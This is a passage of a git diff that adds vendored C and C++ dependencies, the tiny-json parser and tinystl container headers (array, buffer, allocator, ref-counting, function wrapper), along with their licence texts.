+ if ( !property ) return 0; + if( obj->type != JSON_ARRAY ) { + if ( *ptr != '\"' ) return 0; + ptr = propertyName( ptr, property ); + if ( !ptr ) return 0; + } + else property->name = 0; + add( obj, property ); + property->u.value = ptr; + switch( *ptr ) { + case '{': + property->type = JSON_OBJ; + property->u.c.child = 0; + property->sibling = obj; + obj = property; + ++ptr; + break; + case '[': + property->type = JSON_ARRAY; + property->u.c.child = 0; + property->sibling = obj; + obj = property; + ++ptr; + break; + case '\"': ptr = textValue( ptr, property ); break; + case 't': ptr = trueValue( ptr, property ); break; + case 'f': ptr = falseValue( ptr, property ); break; + case 'n': ptr = nullValue( ptr, property ); break; + default: ptr = numValue( ptr, property ); break; + } + if ( !ptr ) return 0; + } +} + +/** Initialize a json pool. + * @param pool The handler of the pool. + * @return a instance of a json. */ +static json_t* poolInit( jsonPool_t* pool ) { + jsonStaticPool_t *spool = json_containerOf( pool, jsonStaticPool_t, pool ); + spool->nextFree = 1; + return spool->mem; +} + +/** Create an instance of a json from a pool. + * @param pool The handler of the pool. + * @retval The handler of the new instance if success. + * @retval Null pointer if the pool was empty. */ +static json_t* poolAlloc( jsonPool_t* pool ) { + jsonStaticPool_t *spool = json_containerOf( pool, jsonStaticPool_t, pool ); + if ( spool->nextFree >= spool->qty ) return 0; + return spool->mem + spool->nextFree++; +} + +/** Checks whether an character belongs to set. + * @param ch Character value to be checked. + * @param set Set of characters. It is just a null-terminated string. + * @return true or false there is membership or not. */ +static bool isOneOfThem( char ch, char const* set ) { + while( *set != '\0' ) + if ( ch == *set++ ) + return true; + return false; +} + +/** Increases a pointer while it points to a character that belongs to a set. + * @param str The initial pointer value. + * @param set Set of characters. It is just a null-terminated string. + * @return The final pointer value or null pointer if the null character was found. */ +static char* goWhile( char* str, char const* set ) { + for(; *str != '\0'; ++str ) { + if ( !isOneOfThem( *str, set ) ) + return str; + } + return 0; +} + +/** Set of characters that defines a blank. */ +static char const* const blank = " \n\r\t\f"; + +/** Increases a pointer while it points to a white space character. + * @param str The initial pointer value. + * @return The final pointer value or null pointer if the null character was found. */ +static char* goBlank( char* str ) { + return goWhile( str, blank ); +} + +/** Increases a pointer while it points to a decimal digit character. + * @param str The initial pointer value. + * @return The final pointer value or null pointer if the null character was found. */ +static char* goNum( char* str ) { + for( ; *str != '\0'; ++str ) { + if ( !isdigit( *str ) ) + return str; + } + return 0; +} + +/** Set of characters that defines the end of an array or a JSON object. */ +static char const* const endofblock = "}]"; + +/** Set a char to '\0' and increase its pointer if the char is different to '}' or ']'. + * @param ch Pointer to character. + * @return Final value pointer. */ +static char* setToNull( char* ch ) { + if ( !isOneOfThem( *ch, endofblock ) ) *ch++ = '\0'; + return ch; +} + +/** Indicate if a character is the end of a primitive value. */ +static bool isEndOfPrimitive( char ch ) { + return ch == ',' || isOneOfThem( ch, blank ) || isOneOfThem( ch, endofblock ); +} diff --git a/dep/tiny-json/tiny-json.h b/dep/tiny-json/tiny-json.h new file mode 100644 index 0000000..d592a4a --- /dev/null +++ b/dep/tiny-json/tiny-json.h @@ -0,0 +1,176 @@ + +/* + + + + Licensed under the MIT License . + SPDX-License-Identifier: MIT + Copyright (c) 2016-2018 Rafa Garcia . + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + +*/ + +#ifndef _TINY_JSON_H_ +#define _TINY_JSON_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include +#include + +#define json_containerOf( ptr, type, member ) \ + ((type*)( (char*)ptr - offsetof( type, member ) )) + +/** @defgroup tinyJson Tiny JSON parser. + * @{ */ + +/** Enumeration of codes of supported JSON properties types. */ +typedef enum { + JSON_OBJ, JSON_ARRAY, JSON_TEXT, JSON_BOOLEAN, + JSON_INTEGER, JSON_REAL, JSON_NULL +} jsonType_t; + +/** Structure to handle JSON properties. */ +typedef struct json_s { + struct json_s* sibling; + char const* name; + union { + char const* value; + struct { + struct json_s* child; + struct json_s* last_child; + } c; + } u; + jsonType_t type; +} json_t; + +/** Parse a string to get a json. + * @param str String pointer with a JSON object. It will be modified. + * @param mem Array of json properties to allocate. + * @param qty Number of elements of mem. + * @retval Null pointer if any was wrong in the parse process. + * @retval If the parser process was successfully a valid handler of a json. + * This property is always unnamed and its type is JSON_OBJ. */ +json_t const* json_create( char* str, json_t mem[], unsigned int qty ); + +/** Get the name of a json property. + * @param json A valid handler of a json property. + * @retval Pointer to null-terminated if property has name. + * @retval Null pointer if the property is unnamed. */ +static inline char const* json_getName( json_t const* json ) { + return json->name; +} + +/** Get the value of a json property. + * The type of property cannot be JSON_OBJ or JSON_ARRAY. + * @param json A valid handler of a json property. + * @return Pointer to null-terminated string with the value. */ +static inline char const* json_getValue( json_t const* property ) { + return property->u.value; +} + +/** Get the type of a json property. + * @param json A valid handler of a json property. + * @return The code of type.*/ +static inline jsonType_t json_getType( json_t const* json ) { + return json->type; +} + +/** Get the next sibling of a JSON property that is within a JSON object or array. + * @param json A valid handler of a json property. + * @retval The handler of the next sibling if found. + * @retval Null pointer if the json property is the last one. */ +static inline json_t const* json_getSibling( json_t const* json ) { + return json->sibling; +} + +/** Search a property by its name in a JSON object. + * @param obj A valid handler of a json object. Its type must be JSON_OBJ. + * @param property The name of property to get. + * @retval The handler of the json property if found. + * @retval Null pointer if not found. */ +json_t const* json_getProperty( json_t const* obj, char const* property ); + + +/** Search a property by its name in a JSON object and return its value. + * @param obj A valid handler of a json object. Its type must be JSON_OBJ. + * @param property The name of property to get. + * @retval If found a pointer to null-terminated string with the value. + * @retval Null pointer if not found or it is an array or an object. */ +char const* json_getPropertyValue( json_t const* obj, char const* property ); + +/** Get the first property of a JSON object or array. + * @param json A valid handler of a json property. + * Its type must be JSON_OBJ or JSON_ARRAY. + * @retval The handler of the first property if there is. + * @retval Null pointer if the json object has not properties. */ +static inline json_t const* json_getChild( json_t const* json ) { + return json->u.c.child; +} + +/** Get the value of a json boolean property. + * @param property A valid handler of a json object. Its type must be JSON_BOOLEAN. + * @return The value stdbool. */ +static inline bool json_getBoolean( json_t const* property ) { + return *property->u.value == 't'; +} + +/** Get the value of a json integer property. + * @param property A valid handler of a json object. Its type must be JSON_INTEGER. + * @return The value stdint. */ +static inline int64_t json_getInteger( json_t const* property ) { + return atoll( property->u.value ); +} + +/** Get the value of a json real property. + * @param property A valid handler of a json object. Its type must be JSON_REAL. + * @return The value. */ +static inline double json_getReal( json_t const* property ) { + return atof( property->u.value ); +} + + + +/** Structure to handle a heap of JSON properties. */ +typedef struct jsonPool_s jsonPool_t; +struct jsonPool_s { + json_t* (*init)( jsonPool_t* pool ); + json_t* (*alloc)( jsonPool_t* pool ); +}; + +/** Parse a string to get a json. + * @param str String pointer with a JSON object. It will be modified. + * @param pool Custom json pool pointer. + * @retval Null pointer if any was wrong in the parse process. + * @retval If the parser process was successfully a valid handler of a json. + * This property is always unnamed and its type is JSON_OBJ. */ +json_t const* json_createWithPool( char* str, jsonPool_t* pool ); + +/** @ } */ + +#ifdef __cplusplus +} +#endif + +#endif /* _TINY_JSON_H_ */ diff --git a/dep/tinystl/CMakeLists.txt b/dep/tinystl/CMakeLists.txt new file mode 100644 index 0000000..6be3b28 --- /dev/null +++ b/dep/tinystl/CMakeLists.txt @@ -0,0 +1,26 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +add_library(tinystl INTERFACE) +target_include_directories(tinystl INTERFACE include) diff --git a/dep/tinystl/include/stl/LICENSE b/dep/tinystl/include/stl/LICENSE new file mode 100644 index 0000000..9ebf591 --- /dev/null +++ b/dep/tinystl/include/stl/LICENSE @@ -0,0 +1,23 @@ + Copyright 2012-2015 Matthew Endsley + All rights reserved + + Redistribution and use in source and binary forms, with or without + modification, are permitted providing that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. diff --git a/dep/tinystl/include/stl/README.md b/dep/tinystl/include/stl/README.md new file mode 100644 index 0000000..9ceb78d --- /dev/null +++ b/dep/tinystl/include/stl/README.md @@ -0,0 +1,27 @@ +tinystl +======= +Tiny (as in minimal) implementation of some core STL functionality + +Contact +------- +[@MatthewEndsley](https://twitter.com/#!/MatthewEndsley) + + +License +------- +Copyright 2012-2015 Matthew Endsley + +This project is governed by the BSD 2-clause license. For details see the file +titled LICENSE in the project root folder. + +Compiling +--------- +tinystl is a header only library. But there's some tests that need to be compiled if you want to run them. + +1. Get the premake4 binary here: +2. It's one file, put it somewhere useful! (maybe we'll include it in tinystl later on) +3. Update git submodules: $ git submodule update --init +4. Generate project files + premake4 vs2008 +5. Open your project file. It's in TinySTL/.build/projects/ +6. Enjoy a tasty beverage diff --git a/dep/tinystl/include/stl/allocator.h b/dep/tinystl/include/stl/allocator.h new file mode 100644 index 0000000..a9c207b --- /dev/null +++ b/dep/tinystl/include/stl/allocator.h @@ -0,0 +1,49 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_ALLOCATOR_H +#define TINYSTL_ALLOCATOR_H + +#include "stddef.h" +#include + +namespace tinystl { + struct allocator { + static void* static_allocate(size_t bytes) { + return malloc(bytes); + } + + static void static_deallocate(void* ptr, size_t /*bytes*/) { + free(ptr); + } + }; +} + +#ifndef TINYSTL_ALLOCATOR +# define TINYSTL_ALLOCATOR ::tinystl::allocator +#endif + +#endif diff --git a/dep/tinystl/include/stl/allocator_default.h b/dep/tinystl/include/stl/allocator_default.h new file mode 100644 index 0000000..13cf012 --- /dev/null +++ b/dep/tinystl/include/stl/allocator_default.h @@ -0,0 +1,49 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_ALLOCATOR_H +#define TINYSTL_ALLOCATOR_H + +#include "stddef.h" + +namespace tinystl { + + struct allocator { + static void* static_allocate(size_t bytes) { + return operator new(bytes); + } + + static void static_deallocate(void* ptr, size_t /*bytes*/) { + operator delete(ptr); + } + }; +} + +#ifndef TINYSTL_ALLOCATOR +# define TINYSTL_ALLOCATOR ::tinystl::allocator +#endif + +#endif diff --git a/dep/tinystl/include/stl/array.h b/dep/tinystl/include/stl/array.h new file mode 100644 index 0000000..7f97833 --- /dev/null +++ b/dep/tinystl/include/stl/array.h @@ -0,0 +1,178 @@ +#ifndef __TINYSTL_ARRAY__ +#define __TINYSTL_ARRAY__ + +#include +#include + +namespace tinystl { + template + class array { + public: + /*** 1. Element Access ***/ + + // access specified elements with bounds checking + T &at(size_t pos) + { + if (pos < 0 || pos >= N) + throw std::out_of_range("index out of range"); + return data[pos]; + } + + const T &at(size_t pos) const + { + if (pos < 0 || pos >= N) + throw std::out_of_range("index out of range"); + return data[pos]; + } + + // access specified elements + T &operator [](size_t pos) { return data[pos]; } + + // access first element + T &front() + { + if (this->empty()) + throw std::out_of_range("empty array"); + return data[0]; + } + + const T &front() const + { + if (this->empty()) + throw std::out_of_range("empty array"); + return data[0]; + } + + // access last element + T &back() + { + if (this->empty()) + throw std::out_of_range("empty array"); + return data[N - 1]; + } + + const T &back() const + { + if (this->empty()) + throw std::out_of_range("empty array"); + return data[N - 1]; + } + + /*** 2. Iterator ***/ + + class Iterator : public std::iterator> + { + public: + bool operator ==(const Iterator &I) { return (this->curr == I.curr); } + bool operator !=(const Iterator &I) { return (this->curr != I.curr); } + + T &operator *() { return *curr; } + + Iterator operator ++() { return Iterator(++curr); } + Iterator operator ++(int dummy) { return Iterator(curr++); } + + Iterator(T *_curr = nullptr) : curr(_curr) {} + + private: + T *curr; + + friend class array; + }; + + class ConstIterator : public std::iterator> + { + public: + bool operator ==(const ConstIterator &I) { return (this->curr == I.curr); } + bool operator !=(const ConstIterator &I) { return (this->curr != I.curr); } + + const T &operator *() { return *curr; } + + ConstIterator operator ++() { return ConstIterator(++curr); } + ConstIterator operator ++(int dummy) { return ConstIterator(curr++); } + + ConstIterator(const T *_curr = nullptr) : curr(_curr) {} + + private: + const T *curr; + + friend class array; + }; + + class ReverseIterator : public std::iterator> + { + public: + bool operator ==(const ReverseIterator &I) { return (this->curr == I.curr); } + bool operator !=(const ReverseIterator &I) { return (this->curr != I.curr); } + + T &operator *() { return *curr; } + + ReverseIterator operator ++() { return ReverseIterator(--curr); } + ReverseIterator operator ++(int dummy) { return ReverseIterator(curr--); } + + ReverseIterator(T *_curr = nullptr) : curr(_curr) {} + + private: + T *curr; + + friend class array; + }; + + // iterator to the beginning + Iterator begin() { return Iterator(this->empty() ? nullptr : &this->front()); } + + // iterator to the end + Iterator end() { return Iterator(this->empty() ? nullptr : &(this->back()) + 1); } + + // const iterator to the beginning + ConstIterator cbegin() const { return ConstIterator(this->empty() ? nullptr : &this->front()); } + + // const iterator to the end + ConstIterator cend() const { return ConstIterator(this->empty() ? nullptr : &(this->back()) + 1); } + + // reverse iterator to the beginning + ReverseIterator rbegin() { return ReverseIterator(this->empty() ? nullptr : &this->back()); } + + // reverse iterator to the end + ReverseIterator rend() { return ReverseIterator(this->empty() ? nullptr : &(this->front()) - 1); } + + /*** 3. Capacity ***/ + + // checks whether the array is empty + constexpr bool empty() const { return (N == 0); } + + // returns the number of elements + constexpr size_t size() const { return N; } + + /*** 4. Operations ***/ + + // fill the array with given value + void fill(const T &val) { + for (size_t i = 0; i < N; ++i) + this->data[i] = val; + } + + // swap content with another array + void swap(array &other) { + for (size_t i = 0; i < N; ++i) + swap(this->data[i], other.data[i]); + } + + private: + T data[N]; + + friend class Iterator; + friend class ReverseIterator; + }; + +} + +namespace std +{ + template< size_t I, class T, size_t N > + constexpr T& get(tinystl::array& a) noexcept + { + return a.at(I); + } +} + +#endif diff --git a/dep/tinystl/include/stl/buffer.h b/dep/tinystl/include/stl/buffer.h new file mode 100644 index 0000000..f7b4d14 --- /dev/null +++ b/dep/tinystl/include/stl/buffer.h @@ -0,0 +1,303 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_BUFFER_H +#define TINYSTL_BUFFER_H + +#include "allocator.h" +#include "new.h" +#include "traits.h" + +namespace tinystl { + template + struct buffer { + T* first; + T* last; + T* capacity; + }; + + template + static inline void buffer_destroy_range_traits(T* first, T* last, pod_traits) { + for (; first < last; ++first) + first->~T(); + } + + template + static inline void buffer_destroy_range_traits(T*, T*, pod_traits) { + } + + template + static inline void buffer_destroy_range(T* first, T* last) { + buffer_destroy_range_traits(first, last, pod_traits()); + } + + template + static inline void buffer_fill_urange_traits(T* first, T* last, pod_traits) { + for (; first < last; ++first) + new(placeholder(), first) T(); + } + + template + static inline void buffer_fill_urange_traits(T* first, T* last, pod_traits) { + for (; first < last; ++first) + *first = T(); + } + + template + static inline void buffer_fill_urange_traits(T* first, T* last, const T& value, pod_traits) { + for (; first < last; ++first) + new(placeholder(), first) T(value); + } + + template + static inline void buffer_fill_urange_traits(T* first, T* last, const T& value, pod_traits) { + for (; first < last; ++first) + *first = value; + } + + template + static inline void buffer_move_urange_traits(T* dest, T* first, T* last, pod_traits) { + for (T* it = first; it != last; ++it, ++dest) + move_construct(dest, *it); + buffer_destroy_range(first, last); + } + + template + static inline void buffer_move_urange_traits(T* dest, T* first, T* last, pod_traits) { + for (; first != last; ++first, ++dest) + *dest = *first; + } + + template + static inline void buffer_bmove_urange_traits(T* dest, T* first, T* last, pod_traits) { + dest += (last - first); + for (T* it = last; it != first; --it, --dest) { + move_construct(dest - 1, *(it - 1)); + buffer_destroy_range(it - 1, it); + } + } + + template + static inline void buffer_bmove_urange_traits(T* dest, T* first, T* last, pod_traits) { + dest += (last - first); + for (T* it = last; it != first; --it, --dest) + *(dest - 1) = *(it - 1); + } + + template + static inline void buffer_move_urange(T* dest, T* first, T* last) { + buffer_move_urange_traits(dest, first, last, pod_traits()); + } + + template + static inline void buffer_bmove_urange(T* dest, T* first, T* last) { + buffer_bmove_urange_traits(dest, first, last, pod_traits()); + } + + template + static inline void buffer_fill_urange(T* first, T* last) { + buffer_fill_urange_traits(first, last, pod_traits()); + } + + template + static inline void buffer_fill_urange(T* first, T* last, const T& value) { + buffer_fill_urange_traits(first, last, value, pod_traits()); + } + + template + static inline void buffer_init(buffer* b) { + b->first = b->last = b->capacity = 0; + } + + template + static inline void buffer_destroy(buffer* b) { + buffer_destroy_range(b->first, b->last); + Alloc::static_deallocate(b->first, (size_t)((char*)b->capacity - (char*)b->first)); + } + + template + static inline void buffer_reserve(buffer* b, size_t capacity) { + if (b->first + capacity <= b->capacity) + return; + + typedef T* pointer; + const size_t size = (size_t)(b->last - b->first); + pointer newfirst = (pointer)Alloc::static_allocate(sizeof(T) * capacity); + buffer_move_urange(newfirst, b->first, b->last); + Alloc::static_deallocate(b->first, sizeof(T) * capacity); + + b->first = newfirst; + b->last = newfirst + size; + b->capacity = newfirst + capacity; + } + + template + static inline void buffer_resize(buffer* b, size_t size) { + buffer_reserve(b, size); + + buffer_fill_urange(b->last, b->first + size); + buffer_destroy_range(b->first + size, b->last); + b->last = b->first + size; + } + + template + static inline void buffer_resize(buffer* b, size_t size, const T& value) { + buffer_reserve(b, size); + + buffer_fill_urange(b->last, b->first + size, value); + buffer_destroy_range(b->first + size, b->last); + b->last = b->first + size; + } + + template + static inline void buffer_shrink_to_fit(buffer* b) { + if (b->last == b->first) { + const size_t capacity = (size_t)(b->last - b->first); + Alloc::static_deallocate(b->first, sizeof(T)*capacity); + b->capacity = b->first; + } + else if (b->capacity != b->last) { + const size_t capacity = (size_t)(b->capacity - b->first); + const size_t size = (size_t)(b->last - b->first); + T* newfirst = (T*)Alloc::static_allocate(sizeof(T) * size); + buffer_move_urange(newfirst, b->first, b->last); + Alloc::static_deallocate(b->first, sizeof(T) * capacity); + b->first = newfirst; + b->last = newfirst + size; + b->capacity = b->last; + } + } + + template + static inline void buffer_clear(buffer* b) { + buffer_destroy_range(b->first, b->last); + b->last = b->first; + } + + template + static inline T* buffer_insert_common(buffer* b, T* where, size_t count) { + const size_t offset = (size_t)(where - b->first); + const size_t newsize = (size_t)((b->last - b->first) + count); + if (b->first + newsize > b->capacity) + buffer_reserve(b, (newsize * 3) / 2); + + where = b->first + offset; + + if (where != b->last) + buffer_bmove_urange(where + count, where, b->last); + + b->last = b->first + newsize; + + return where; + } + + template + static inline void buffer_insert(buffer* b, T* where, const Param* first, const Param* last) { + typedef const char* pointer; + const size_t count = last - first; + const bool frombuf = ((pointer)b->first <= (pointer)first && (pointer)b->last >= (pointer)last); + size_t offset = 0; + if (frombuf) { + offset = (pointer)first - (pointer)b->first; + if ((pointer)where <= (pointer)first) + offset += count * sizeof(T); + } + where = buffer_insert_common(b, where, count); + if (frombuf) { + first = (Param*)((pointer)b->first + offset); + last = first + count; + } + for (; first != last; ++first, ++where) + new(placeholder(), where) T(*first); + } + + template + static inline void buffer_insert(buffer* b, T* where, size_t count) { + where = buffer_insert_common(b, where, count); + for (T* end = where + count; where != end; ++where) + new(placeholder(), where) T(); + } + + template + static inline void buffer_append(buffer* b, const Param* param) { + if (b->capacity != b->last) { + new(placeholder(), b->last) T(*param); + ++b->last; + } + else { + buffer_insert(b, b->last, param, param + 1); + } + } + + template + static inline void buffer_append(buffer* b) { + if (b->capacity != b->last) { + new(placeholder(), b->last) T(); + ++b->last; + } + else { + buffer_insert(b, b->last, 1); + } + } + + template + static inline T* buffer_erase(buffer* b, T* first, T* last) { + typedef T* pointer; + const size_t count = (last - first); + for (pointer it = last, end = b->last, dest = first; it != end; ++it, ++dest) + move(*dest, *it); + + buffer_destroy_range(b->last - count, b->last); + + b->last -= count; + return first; + } + + template + static inline T* buffer_erase_unordered(buffer* b, T* first, T* last) { + typedef T* pointer; + const size_t count = (last - first); + const size_t tail = (b->last - last); + pointer it = b->last - ((count < tail) ? count : tail); + for (pointer end = b->last, dest = first; it != end; ++it, ++dest) + move(*dest, *it); + + buffer_destroy_range(b->last - count, b->last); + + b->last -= count; + return first; + } + + template + static inline void buffer_swap(buffer* b, buffer* other) { + typedef T* pointer; + const pointer tfirst = b->first, tlast = b->last, tcapacity = b->capacity; + b->first = other->first, b->last = other->last, b->capacity = other->capacity; + other->first = tfirst, other->last = tlast, other->capacity = tcapacity; + } +} + +#endif diff --git a/dep/tinystl/include/stl/detail/ref.h b/dep/tinystl/include/stl/detail/ref.h new file mode 100644 index 0000000..a3efc85 --- /dev/null +++ b/dep/tinystl/include/stl/detail/ref.h @@ -0,0 +1,80 @@ +//TODO: Add license + +#ifndef _REF_H_ +#define _REF_H_ + +#include +#include +//#include +#include "../allocator.h" + +namespace tinystl { + namespace detail { + template + struct _default_delete { + void operator ()(T* ptr) + { + if (ptr) + { + ptr->~T(); + allocator::static_deallocate(ptr); + } + } + }; + + template + struct ref_t { + using deleter_type = std::function < void(T*) >; + + std::atomic ncount_; + T *data_; + deleter_type deleter_; + + explicit ref_t(T *p = nullptr, deleter_type pfunc = deleter_type(_default_delete())) + : ncount_(0), data_(p), deleter_(pfunc) { + if (data_) + ncount_ = 1; + } + ref_t(const ref_t&) = delete; + ref_t& operator = (const ref_t&) = delete; + + ~ref_t() { + --ncount_; + if (ncount_ == 0) + deleter_(data_); + } + + size_t count()const { return ncount_.load(); } + T *get_data()const { return data_; } + + ref_t& operator ++() { + ++ncount_; + return *this; + } + ref_t operator ++(int) { + auto t = *this; + ++*this; + return t; + } + ref_t& operator --() { + --ncount_; + return *this; + } + ref_t operator --(int) { + auto t = *this; + --*this; + return t; + } + }; + template + bool operator ==(const ref_t& lhs, const ref_t& rhs) { + return lhs.get_data() == rhs.get_data(); + } + template + bool operator !=(const ref_t& lhs, const ref_t& rhs) { + return !(lhs == rhs); + } + } +} + +#endif diff --git a/dep/tinystl/include/stl/function.h b/dep/tinystl/include/stl/function.h new file mode 100644 index 0000000..c33144a --- /dev/null +++ b/dep/tinystl/include/stl/function.h @@ -0,0 +1,74 @@ +// +// Copyright (c) 2015 Hugo Amiard +// +// This software is provided 'as-is', without any express or implied +// warranty. In no event will the authors be held liable for any damages +// arising from the use of this software. +// +// Permission is granted to anyone to use this software for any purpose, +// including commercial applications, and to alter it and redistribute it +// freely, subject to the following restrictions: +// +// 1. The origin of this software must not be misrepresented; you must not +// claim that you wrote the original software. If you use this software +// in a product, an acknowledgment in the product documentation would be +// appreciated but is not required. +// 2. Altered source versions must be plainly marked as such, and must not be +// misrepresented as being the original software. +// 3. This notice may not be removed or altered from any source distribution. +// +#pragma once + + +#include +#include + +namespace tinystl +{ + +template +class function; + +template +class function +{ +public: + function() {} + + template ::value>::type> + function(T functor) + { + m_func = [](const void* user, Args... args) -> Return + { + const T& func = *static_cast(user); + return func(static_cast(args)...); + }; + + m_dtor = [](void* user) + { + T& func = *static_cast(user); + func.~T(); + }; + + static_assert(sizeof(T) <= sizeof(m_storage)); + new(m_storage) T(std::move(functor)); + } + + ~function() + { + if(m_dtor) m_dtor(m_storage); + } + + Return operator()(Args... args) const + { + return 